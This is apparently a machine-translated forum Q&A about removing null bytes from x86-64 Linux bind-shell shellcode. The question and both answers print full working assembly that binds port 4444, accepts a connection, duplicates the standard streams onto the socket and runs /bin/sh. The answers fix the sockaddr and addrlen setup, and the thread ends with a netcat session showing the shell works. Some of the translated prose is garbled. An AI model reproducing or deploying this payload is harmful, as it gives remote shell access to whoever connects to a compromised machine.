删除NULL字节组件外壳



从我的shellcode中删除null字节时,我似乎无法在MOV RSI指令中获得null字节,以便在没有怪异的解决方法的情况下清除删除。

>

我有一个bindshell shellcode,在执行DUP2 SYSCALL时,我必须将RSI设置为0、1和2,这样我就可以将stdin,stdout和stderror设置为"用户"。删除null字节时,我通常会做类似的操作:

xor rsi, rsi
mov sil, 1

但这打破了我的外壳。所以我所做的是:

xor rsi, rsi
mov sil, al
sub sil, al
add sil, 1

有点...

某人可以沿途,为什么我只用一个mov sil打破壳码,1?

编辑:完整的不工作代码:

global _start

_start:
    xor rax, rax
    mov al, 41
    xor rdi, rdi
    mov dil, 2
    xor rsi, rsi
    mov sil, 1
    xor rdx, rdx
    mov dl, 1
    sub dl, 1
    syscall
    mov rdi, rax
    xor rax, rax 
    push rax
    mov dword [rsp-4], eax
    mov word [rsp-6], 0x5c11
    mov byte  [rsp-8], 0x2
    sub rsp, 8

    mov al, 49
    mov rsi, rsp
    mov dl, 16
    syscall
    mov al, 50
    mov sil, 2
    syscall

    mov al, 43
    sub rsp, 16
    mov rsi, rsp
    mov byte [rsp-1], 16
    sub rsp, 1
    mov rdx, rsp
    syscall
    mov r9, rax 

    mov al, 3
    syscall

    mov rdi, r9
    mov al, 33
    xor rsi, rsi
    mov sil, al
    sub sil, al
    syscall
    mov al, 33
    xor rsi, rsi
    **mov sil, 1**
    syscall
    mov al, 33
    xor rsi,rsi
    **mov sil, 2** 
    syscall
HERE COMES ACTUALL SHELL CALLING

您的问题与您在堆栈上构建的sockaddr结构有关。您的代码执行此操作:

xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov byte  [rsp-8], 0x2
sub rsp, 8

这创建了16个字节sockaddr,但并未完全初始化。因为您只使用mov byte [rsp-8], 0x2移动单个字节,因此[rsp-7]的字节从来都不是实际初始化的,并且在运行程序正在运行的程序时碰巧碰巧出现的任何内容。它可能不是0。如果不是0,则该结构将有效地具有伪造的sa_family(或sin_family(字段。您能做的就是将结构初始化为零,然后用:

填充。
xor rax, rax
push rax
push rax
mov word [rsp+2], 0x5c11
mov byte [rsp], 0x2

两者将零推出堆栈上的16个字节,以提前进行结构。删除sub rsp, 8是因为 rsp 通过按下更新。我们修改了 mov 指令,以反映结构中数据的新偏移。

使用该参数的 c 样式结构定义是:

struct sockaddr_in {
   short int            sin_family;        /* 16-bit field, not 8-bit */
   unsigned short int   sin_port;
   struct in_addr       sin_addr;
   unsigned char        sin_zero[8];
};

accept SYSCALL创建空间时,您会出现问题。此代码:

sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp

sub rsp, 16很好,因为它为addr结构分配了16个字节。问题在于addrlen结构是一个32位的无符号整数。您分配1个字节,因此长度可能会受到addr结构开头的垃圾的影响(您的数据重叠和内存未初始化(。您需要零初始化至少4个字节的堆栈空间,然后将值16(长度(移动到其中。您可以这样做:

sub rsp, 16
mov rsi, rsp
xor edx, edx              ; RDX = 0
push rdx                  ; Zero initialize 8 bytes of stack space
mov byte [rsp], 16        ; Set length to 16
mov rdx, rsp

为了简化内容,我为addrlen字段分配了8个字节,并将其初始化为16(结构长度(。分配额外的空间不是问题,它只是浪费了4个字节的内存。xor edx, edxxor rdx,rdx相同,但编码较短。如果目标操作数为32位寄存器,则CPU自动将其扩展到64位寄存器。


使用上面的修复程序,您应该能够删除看起来像这样的代码:

mov dl, 1
sub dl, 1

和:

mov sil, al
sub sil, al

使用这些说明可能仅通过更改壳牌示意利用将堆栈的布局暂时掩盖了问题。


其他建议

如果您通过strace运行代码(无论是独立的还是另一个程序中的shellCode(,它将运行指定程序并抛弃所有系统调用及其参数。正是这种信息使我意识到,一些非初始化的堆栈正在导致使用错误的值。如果您在调试器中,如果您丢弃了堆栈数据以查看实际来初始化相关结构的字节,您会看到类似的问题。

通过在DUP syscalls之后添加一些示例代码,然后删除代码工作的**字符。

正如@michael Petch所说:" ...没有SYS_EXIT系统调用,因此它可能会随着记忆中的任何操作而崩溃。">

我刚刚添加了一些其他代码,这些代码使用Execve syscall运行/bin/sh只是为了说明您的代码可能可行。

nasm -felf64 -g -F dwarf wealot_001.s -o wealot_001.o && ld wealot_001.o -o wealot_001

global _start

_start:
    xor rax, rax
    mov al, 41
    xor rdi, rdi
    mov dil, 2
    xor rsi, rsi
    mov sil, 1
    xor rdx, rdx
    mov dl, 1
    sub dl, 1
    syscall
    mov rdi, rax
    xor rax, rax
    push rax
    mov dword [rsp-4], eax
    mov word [rsp-6], 0x5c11
    mov byte  [rsp-8], 0x2
    sub rsp, 8

    mov al, 49
    mov rsi, rsp
    mov dl, 16
    syscall
    mov al, 50
    mov sil, 2
    syscall

    mov al, 43
    sub rsp, 16
    mov rsi, rsp
    mov byte [rsp-1], 16
    sub rsp, 1
    mov rdx, rsp
    syscall
    mov r9, rax

    mov al, 3
    syscall

    mov rdi, r9
    mov al, 33
    xor rsi, rsi
    mov sil, al
    sub sil, al
    syscall
    mov al, 33
    xor rsi, rsi
    mov sil, 1
    syscall
    mov al, 33
    xor rsi,rsi
    mov sil, 2
    syscall


        ; First NULL push
        xor rax, rax
        push rax
        ; push /bin//sh in reverse
        mov rbx, 0x68732f2f6e69622f
        push rbx
        ; store /bin//sh address in RDI
        mov rdi, rsp
        ; Second NULL push
        push rax
        ; set RDX
        mov rdx, rsp
        ; Push address of /bin//sh
        push rdi
        ; set RSI
        mov rsi, rsp
        ; Call the Execve syscall
        add rax, 59
        syscall

输出:

$ nc localhost 4444
whoami
david

最新更新